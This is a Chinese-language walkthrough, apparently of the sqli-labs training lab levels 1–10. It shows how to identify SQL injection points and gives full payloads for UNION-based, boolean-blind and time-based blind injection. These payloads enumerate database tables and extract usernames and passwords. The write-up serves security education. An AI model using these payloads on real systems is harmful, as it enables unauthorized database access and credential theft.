目录
less-1
less-2
less 3
less 4
less 5
less-6
less-7
less-8
less-9
less-10
1-10关代码分析
less-1
判断注入点
?id=1 正常
?id=1' 报错:to use near ''1''
?id=1\ 报错:to use near ''1\'
?id=1' and '1'='1 正常
?id=1' and '1'='1' 报错:to use near ''1''
得出结论:GET字符注入点
注入操作
# 判断当前表的列数 得出当前表有3列 ?id=1' and 1=1 order by 1 --+ 正常 ?id=1' and 1=1 order by 2 --+ 正常 ?id=1' and 1=1 order by 3 --+ 正常 ?id=1' and 1=1 order by 4 --+ 错误 # 查看显示位 得出显示位为2,3号位 ?id=1' and 1=2 union select 1,2,3 --+ # 查看当前数据库 ?id=1' and 1=2 union select 1,database(),3 --+ # 查看当前数据库的所有表 ?id=1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+ #报错:显示行数大于一行 ?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+ # 查看某表的字段名 id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+ # 查看字段值 ?id=1' and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+
less-2
判断注入点
?id=1 正常
?id=1' 报错:to use near ''
?id=1\ 报错:to use near '\
?id=1 and 1=1 正常
得出结论:GET整型注入点
注入操作
# 判断当前表的列数 得出当前表有3列 ?id=1 and 1=1 order by 1 --+ 正常 ?id=1 and 1=1 order by 2 --+ 正常 ?id=1 and 1=1 order by 3 --+ 正常 ?id=1 and 1=1 order by 4 --+ 错误 # 查看显示位 得出显示位为2,3号位 ?id=1 and 1=2 union select 1,2,3 --+ # 查看当前数据库 ?id=1 and 1=2 union select 1,database(),3 --+ # 查看当前数据库的所有表 ?id=1 and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+ #报错:显示行数大于一行 ?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+ # 查看某表的字段名 id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+ # 查看字段值 ?id=1 and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+
less 3
判断注入点
?id=1 正常
?id=1' 报错:to use near ''1'')
?id=1\ 报错:to use near ''1\')
通过报错原因 得知参数在服务器端的形式为(‘$id’)
得出结论 GET字符型注入 并且在参数外加了一层括号
有一个问题
less-1也是这个问题
已知 内部参数形式为(‘$id’)或者是'$id' 也就是字符型的
但是 ?id=1 and 1=2 --+ 只要是1的位置确定能查到数据 后面随便写依旧能查到
比如 ?id=1 a b c 11+-5 666 查询到的依旧是id=1的数据
正常情况下是把 1 a b c 11+-5 666 当成一整个字符串 到数据库中进行查询的
注入操作
?id=1') and 1=1 --+ 正常显示 ?id=1') and 1=2 --+ 空显示 # 判断当前表的列数 得出当前表有3列 ?id=1') and 1=1 order by 1 --+ 正常 ?id=1') and 1=1 order by 2 --+ 正常 ?id=1') and 1=1 order by 3 --+ 正常 ?id=1') and 1=1 order by 4 --+ 错误 # 查看显示位 得出显示位为2,3号位 ?id=1') and 1=2 union select 1,database(),3 --+ # 查看当前数据库 ?id=1') and 1=2 union select 1,database(),3 --+ # 查看当前数据库的所有表 ?id=1') and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+ #报错:显示行数大于一行 ?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+ # 查看某表的字段名 id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+ # 查看字段值 ?id=1') and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+
less 4
判断注入点
?id=1 正常
?id=1' 正常输出id=1的结果
?id=1ad 正常输出id=1的结果
以上两点可以判断出这是一个字符注入 但是并不是通过单引号使参数成为字符的
?id=1\ 报错:to use near '"1\")
通过这一点可以判断出参数在服务器端的形式为("$id")
得出结论 GET字符型注入 使参数变成字符的方式为双引号 并且在参数外加了一层括号
注入操作
?id=1") and 1=1 --+ 正常显示 ?id=1") and 1=2 --+ 空显示 # 判断当前表的列数 得出当前表有3列 ?id=1") and 1=1 order by 1 --+ 正常 ?id=1") and 1=1 order by 2 --+ 正常 ?id=1") and 1=1 order by 3 --+ 正常 ?id=1") and 1=1 order by 4 --+ 错误 # 查看显示位 得出显示位为2,3号位 ?id=1") and 1=2 union select 1,database(),3 --+ # 查看当前数据库 ?id=1") and 1=2 union select 1,database(),3 --+ # 查看当前数据库的所有表 ?id=1") and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+ #报错:显示行数大于一行 ?id=1") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+ # 查看某表的字段名 id=1") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+ # 查看字段值 ?id=1") and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+
less 5
判断注入点
?id=0 空输出
?id=1 输出 You are in
以上两点确定为布尔注入点 并且可以确定空输出为 false 无查询结果 You are in 为 true 有查询结果
?id=1' 报错 to use near ''1''
?id=1\ 报错 to use near ''1\'
通过报错可以判断出参数在服务器端的形式为'$id' 也就是字符类型
得出结论 GET字符型注入 并且为布尔注入点
注入操作
?id=1' and 1=1 --+ 输出you are in ?id=1' and 1=2 --+ 空显示 # 判断当前表的列数 得出当前表有3列 ?id=1' and 1=1 order by 1 --+ you are in ?id=1' and 1=1 order by 2 --+ you are in ?id=1' and 1=1 order by 3 --+ you are in ?id=1' and 1=1 order by 4 --+ 报错 判断数据库长度 ?id=1' and length(database())>7 --+ you are in ?id=1' and length(database())>8 --+ 空返回 # 猜测当前数据库名 ?id=1' and ascii(substr(database(),1,1))>97 --+ you are in ?id=1' and ascii(substr(database(),1,1))>120 --+ 空返回 ?id=1' and ascii(substr(database(),1,1))>114 --+ you are in ?id=1' and ascii(substr(database(),1,1))>115 --+ 空返回 # 猜测当前数据库的所有表 猜测第一个表的第一个字符 多次测试 得出结果 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+ you are in # 修改limit的参数为4时 的第一个字符的ascii码>0 返回空结果可知 当前数据库一共有4张表 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+ 空返回 # 查看某表的字段名 猜测 users 表第一列的列名 多次测试 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in # 查看字段值 ?id=1' and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+ you are in 注意 如果 字符的ascii>0 返回空结果 就证明 select没有查到任何数据
less-6
判断注入点
?id=1 you are in
?id=0 空输出
以上两点确定为布尔注入点 并且可以确定空输出为 false 无查询结果。 You are in 为 true 有查询结果
?id=1' you are in
?id=1\ 报错:to use near '"1\"
通过第一点 输入单引号也不报错 并且返回 you are in 可以判定当前注入点是字符型 但是参数并不是被单引号引起来的 估计是双引号
通过第二点报错原因可以确定 该注入点位字符型 使用的符号位双引号
于是
?id=1" --+ you are in
判断出参数在服务器端的形式为"$id"
注入操作
?id=1" and 1=1 --+ 输出you are in ?id=1" and 1=1 --+ 空显示 # 判断当前表的列数 得出当前表有3列 ?id=1" and 1=1 order by 1 --+ you are in ?id=1" and 1=1 order by 2 --+ you are in ?id=1" and 1=1 order by 3 --+ you are in ?id=1" and 1=1 order by 4 --+ 报错 判断数据库长度 ?id=1" and length(database())>7 --+ you are in ?id=1" and length(database())>8 --+ 空返回 # 猜测当前数据库名 ?id=1" and ascii(substr(database(),1,1))>97 --+ you are in ?id=1" and ascii(substr(database(),1,1))>120 --+ 空返回 ?id=1" and ascii(substr(database(),1,1))>114 --+ you are in ?id=1" and ascii(substr(database(),1,1))>115 --+ 空返回 # 猜测当前数据库的所有表 猜测第一个表的第一个字符 多次测试 得出结果 ?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+ you are in # 修改limit的参数为4时 的第一个字符的ascii码>0 返回空结果可知 当前数据库一共有4张表 ?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+ 空返回 # 查看某表的字段名 猜测 users 表第一列的列名 多次测试 ?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in # 查看字段值 ?id=1" and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+ you are in
以上六关演示的 报错都会输出到页面中 所以都可以使用过报错函数 进行报错注入
less-7
判断注入点
- ①?id=1 You are in.... Use outfile......
- ②?id=10000 You have an error in your SQL syntax
- ③?id=0 You have an error in your SQL syntax
通过以上三点判断该注入点为布尔注入,
并且假定:语句查询到结果为TRUE 输出 You are in.... Use outfile......
语句没有查询到结果为FALSE 输出 You have an error in your SQL syntax
- ④?id=1' 报错 :You have an error in your SQL syntax
- ⑤?id=1\ 报错:You have an error in your SQL syntax
通过以上两点确定不能使用报错函数
- ⑥?id=1 and 1=1 You are in.... Use outfile......
- ⑦?id=1 and 1=2 You are in.... Use outfile......
- ⑧?id=1\ 525 555and55 1=2 --+ You are in.... Use outfile......
- ⑨?id=1' --+ You have an error in your SQL syntax
通过以上⑥⑦⑧确定注入点为字符型 通过⑨确定造成参数为字符的方式不是用单引号
于是多次尝试得出?id=1')) --+ You are in.... Use outfile......
判断出参数在服务器端的形式为(('$id' ))
技巧:
?id=1 --+ 如果输出的还是正确的 可能是整型也有可能是字符
?id=1wqeqeqweadasd --+*9asda 输入的如果还是正确的 那么就可以确定这是字符注入点了
使用布尔盲注
注入操作
# 判断当前表的列数 得出当前表有3列 ?id=1')) and 1=1 order by 1 --+ You are in.... Use outfile...... ?id=1')) and 1=1 order by 2 --+ You are in.... Use outfile...... ?id=1')) and 1=1 order by 3 --+ You are in.... Use outfile...... ?id=1')) and 1=1 order by 4 --+ You have an error in your SQL syntax 判断数据库长度 ?id=1')) and length(database())>7 --+ You are in.... Use outfile...... ?id=1')) and length(database())>8 --+ You have an error in your SQL syntax # 猜测当前数据库名 ?id=1')) and ascii(substr(database(),1,1))>97 --+ You are in.... Use outfile...... ?id=1')) and ascii(substr(database(),1,1))>120 --+ You have an error in your SQL syntax ?id=1')) and ascii(substr(database(),1,1))>114 --+ You are in.... Use outfile...... ?id=1')) and ascii(substr(database(),1,1))>115 --+ 空返回 # 猜测当前数据库的所有表 猜测第一个表的第一个字符 多次测试 得出结果 ?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+ You are in.... Use outfile...... # 修改limit的参数为4时 的第一个字符的ascii码>0 返回You have an error in your SQL syntax可知 当前数据库一共有4张表 ?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+ You have an error in your SQL syntax # 查看某表的字段名 猜测 users 表第一列的列名 多次测试 ?id=1')) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ You are in.... Use outfile...... # 查看字段值 ?id=1')) and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+ You are in.... Use outfile......
less-8
判断注入点
?id=1 you are in
?id=0 空返回
?id=100000 空返回
?id=1' 空返回
?id=1\ 空返回
通过以上判断该注入点为布尔注入,确定不能使用报错函数
并且假定:语句查询到结果为TRUE 输出 You are in
语句没有查询到结果或语法错误为FALSE 输出 空输出
?id=1 and 1=1 you are in
?id=1 and 1=2 you are in
?id=1 dwqd qascxz anxzcd 1=2 you are in
这三点能判断出当前注入点为字符型
?id=1' --+ you are in
?id=1' 空返回
?id=1' and 1=1 --+ you are in
?id=1' and 1=2 --+ 空返回
能判断出 参数变成字符使用单引号处理的
判断出参数在服务器端的形式为'$id'
注入操作
# 判断当前表的列数 得出当前表有3列 ?id=1' and 1=1 order by 1 --+ You are in ?id=1' and 1=1 order by 2 --+ You are in ?id=1' and 1=1 order by 3 --+ You are in ?id=1' and 1=1 order by 4 --+ 空输出 判断数据库长度 ?id=1' and length(database())>7 --+ You are in ?id=1' and length(database())>8 --+ 空输出 # 猜测当前数据库名 ?id=1' and ascii(substr(database(),1,1))>97 --+ You are in ?id=1' and ascii(substr(database(),1,1))>120 --+ 空输出 ?id=1' and ascii(substr(database(),1,1))>114 --+ You are in.... Use outfile...... ?id=1' and ascii(substr(database(),1,1))>115 --+ 空返回 # 猜测当前数据库的所有表 猜测第一个表的第一个字符 多次测试 得出结果 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+ You are in # 修改limit的参数为4时 的第一个字符的ascii码>0 返回空可知 当前数据库一共有4张表 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+ 空输出 # 查看某表的字段名 猜测 users 表第一列的列名 多次测试 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in # 查看字段值 ?id=1' and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+ You are in
less-9
判断注入点
?id=1 you are in
?id=0 you are in
?id=10000 you are in
?id=1' you are in
?id=1\ you are in
?id=1'''''wqeqdsadada you are in
通过以上直接就能判定该注入点为时间盲注
?id=1 and if(length(database())>0,sleep(2),2) 反应速度快
?id=1' and if(length(database())>0,sleep(2),2) --+ 两秒延时
通过以上可以判定这是 GET字符型时间盲注的注入点
注入操作
为什么使用>0的这种方式呢 因为可以使用二分法大大提高了效率 并且如果>0 不延时的话 也能判定出sql语句没有查询到结果 判断数据库长度 ?id=1' and if(length(database())>0,sleep(2),2) --+ 有延时 # 猜测当前数据库名 修改substr的第二个参数 获取第N位数据库的字符 ?id=1' and if(ascii(substr(database(),1,1))>0,sleep(2),2)--+ 有延时 # 猜测当前数据库的所有表 猜测第一个表的第一个字符 多次测试 得出结果 ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时 # 查看某表的字段名 猜测 users 表第一列的列名 多次测试 ?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时 # 查看字段值 ?id=1' and if(ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
less-10
判断注入点
?id=1 you are in
?id=0 you are in
?id=1000000 you are in
?id=1' you are in
?id=1\ you are in
?id=1wqedasad you are in
怀疑是盲注
?id=1 and if(length(database())>0,sleep(2),1) 无延时
?id=1' and if(length(database())>0,sleep(2),1) --+ 无延时
?id=1" and if(length(database())>0,sleep(2),1) --+ 延时2s
通过以上可以判定这是 GET采用双引号字符型时间盲注的注入点
注入操作
为什么使用>0的这种方式呢 因为可以使用二分法大大提高了效率 并且如果>0 不延时的话 也能判定出sql语句没有查询到结果 判断数据库长度 ?id=1" and if(length(database())>0,sleep(2),2) --+ 有延时 # 猜测当前数据库名 修改substr的第二个参数 获取第N位数据库的字符 ?id=1" and if(ascii(substr(database(),1,1))>0,sleep(2),2)--+ 有延时 # 猜测当前数据库的所有表 猜测第一个表的第一个字符 多次测试 得出结果 ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时 # 查看某表的字段名 猜测 users 表第一列的列名 多次测试 ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时 # 查看字段值 ?id=1" and if(ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
1-10关代码分析
前六关服务器使用print_r(mysql_error());把报错具体信息输出到了页面上 可以使用报错函数
其余代码区别最大的就是:
① 服务器对$id变量的处理
举两个例子
② 查询结果是否输出到界面 报错是否输出到界面 等等 没什么好分析的
注意
- ?id=1 --+ 容易出现问题
- ?id=1--+ 不容易出现问题
- 盲注采用二分法 提高效率